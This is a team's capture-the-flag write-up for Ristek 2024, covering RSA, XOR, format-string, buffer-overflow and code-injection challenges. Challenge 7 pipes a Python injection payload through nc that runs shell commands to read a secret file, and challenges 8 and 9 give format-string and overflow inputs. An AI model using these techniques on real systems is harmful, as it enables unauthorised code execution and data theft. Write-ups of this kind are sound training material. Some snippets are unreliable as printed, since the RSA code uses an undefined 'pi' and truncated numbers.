Write Up CTF Ristek 2024

Presented by Team SU UDON

Members

- Razan Muhammad Salim
- Cyrillo Praditya
- Muhammad Fahri Muharram

Solution

1. Belajar PSD (by Cyrillo)

Buka web nya. Liat source nya. Cari yang async function conf. Toggle switch sesuai yang disana. Ubah ordo biner nya jadi character. Dapet flag.

2. Da Password (by Cyrillo)

Download filenya. Buka file password. Copy. Buka zipnya pake winrar. Paste password. Dapet flag.

3. Bites the bits (by Fahri)

Read the source code. Variable `q` is the next prime of `p`. `p` and `q` can be calculated by square rooting `n`. Use the `Decimal` class and `getcontext` from python to get accurate root. `sympy` also provides `prevprime` which will help. `long_to_bytes` is also a handy one.

```
from Crypto.Util.number import long_to_bytes
from decimal import Decimal, getcontext
from sympy import nextprime, prevprime
n = 19863034877798345965277920400 1...



# Set the precision to 1000 digits
getcontext().prec = 1000
root = round(Decimal(n).sqrt())

p = prevprime(root)
q = nextprime(p)
print(p)
print(q)
print(n == p*q) # True

e = 65537
c = 17766803113389982780819433274 9...
```

```
# Now we can calculate phi
phi = (p - 1) * (q - 1)

# Since we have pi we can calculate d
d = pow(e, -1, pi)

# Now we can decrypt the flag
m = pow(c, d, n)
print(long_to_bytes(m))
```

The code should print out the flag

4. Easy RSA (by Fahri)

Because every operator is in done in modulo curve_order, modulo the prompt by curve_order. The resulting number will be rather small and can be factored using https://factordb.com or other means. To turn the numbers into hex format, do `hex(<number>).removeprefix("0x").zfill(128)`. Input the hexes and the flag can be retrieved.

5. INTinya-apa (by Fahri)

Solver code should be self explanatory.

```
import pexpect
p = pexpect.spawnu("nc 34.101.36.1 9009")

# Begin the challange, 01 is the same as 1
p.expect("\\?")
print(p.before, p.after, end="")
p.sendline("01")

# Answer every multiplication question
for _ in range(100):
    p.expect("\\?")
    prompt = p.before + p.after
    print(prompt, end="")

    # Because the output is consistent,
    # no need to make it pretty
    # Basically turns the prompt into a python expression
    val = "".join(prompt.split("\n")[-1]\
            .strip("?").split(" ")[1:4])

    # Then send the result of the expression to the program
    p.sendline(eval(f"str({val})"))
```

```
# Back to interactive
# Send -1 as it will slice until almost the end
# -1 also makes the code won't go to sleep.
# This will bypass max sleep time
# So this will print the flag minus the ending }
p.interact()
```

Add `}` to the result and the flag is retrieved.

6. Two Line Crypto (by Fahri)

Translated code looks like this.

```
n = open('plaintext', 'r').read()

chars = []
for a, b in zip(n, n[1:]):
    xor = ord(a) ^ ord(b)
    print(a, b, xor, xor.to_bytes())
    chars.append(chr(xor))

ciphertext = ''.join(chars)
file = open("ciphertext_result", "w")

print(ciphertext, file=file)
# Ciphertext is result of xor ing every byte with the next byte
```

The solver code should be self explanatory.

```
# The xor function
def xor(l1, l2):
    res = []
    for a, b in zip(l1, l2):
        res.append(chr(ord(a) ^ ord(b)))
    return "".join(res)


CLUE = "NETSOS{"
ciphered_flag = xor(CLUE, CLUE[1:])
# Turns netsos into a cipher

CIPHER = "ciphertext"
with open(CIPHER, "r") as file:
    ciphertext = file.read()
# Load the ciphertext
```

```
if ciphered_flag not in ciphertext:
    exit(1)
    # Shouldn't happen

i = ciphertext.index(ciphered_flag)
# Find where the flag begins
flag = "N"
char = "N"

# Do xor on cipher with the last plaintext char known.
# This will result the next plaintext char
while True:
    char = chr(ord(ciphertext[i]) ^ ord(char))
    flag += char
    if char == "}":
        break
    i += 1


print(flag)
```

7. Simple Secret (by Fahri)

The technique used is simliar to SQL injection. Simply ignoring the dot operator will lead to errors, that needs to be solved. A python module will always have `__name__` as one of their attributes, this can be exploited. Closing the bracket and adding semicolon allows arbitrary python code execution. It's even possible to import subprocess which allows shell calls. Shellcode is as below.

```
echo "__name__); from subprocess import call# \n__name__); call('cat
secret.py', shell=True)#" | nc 34.101.36.1 9010 &> out
```

The output will be full of junk, use this python code to filter the real one.

```
with open("out", "r") as file:
    text = file.readlines()

for line in text:
    if "FAKE" not in line and "NETSOS" in line:
        print(line)
```

This will print the flag.

8. Easy Flag (by Fahri)

Technique used is from https://lettieri.iet.unipi.it/hacking/format-strings.pdf. With gdb or trial and error, use this following inputs:

First input: `%16$lx%15$lx%14$lx%13$lx`
Second input: `%12$lx`
The inputs has to be divided because there isn't enough space allocated in the buffer. Output will be in little endian order, so join them together and use this python snippet. `bytes.fromhex(string)[::-1].encode("utf-8")` The result will be the flag.

9. Flaming-Insignia (by Fahri)

Know that the `read` in weapon change is prone to buffer overflow. `read` also does not add a null byte (`\x00`) in the end. First get the key by putting junk just before the secret key. Because the print will only stop on null bytes, it will read the entire secret key. This will result in the key being TIPTHESCALES. By debugging gdb and/or trial and error, the opponent and player is separated by 8 bytes. Also, the name is 32 bytes long. Lastly, inject 4 null bytes into the hp.

The final input for the weapon name is.
`print("A"*24 + "TIPTHESCALES" + "A"*44 + "\x00"\*4)`
Note that `read` reads whole chunks of code and ignores newline. This can be solved by using more sophisticated pwn techniques by manual inputs. Most terminals have some way of inputting null bytes, mine uses Control-V + Control-2. Lastly defend against the attack by inputting `2`, and flag is retrieved.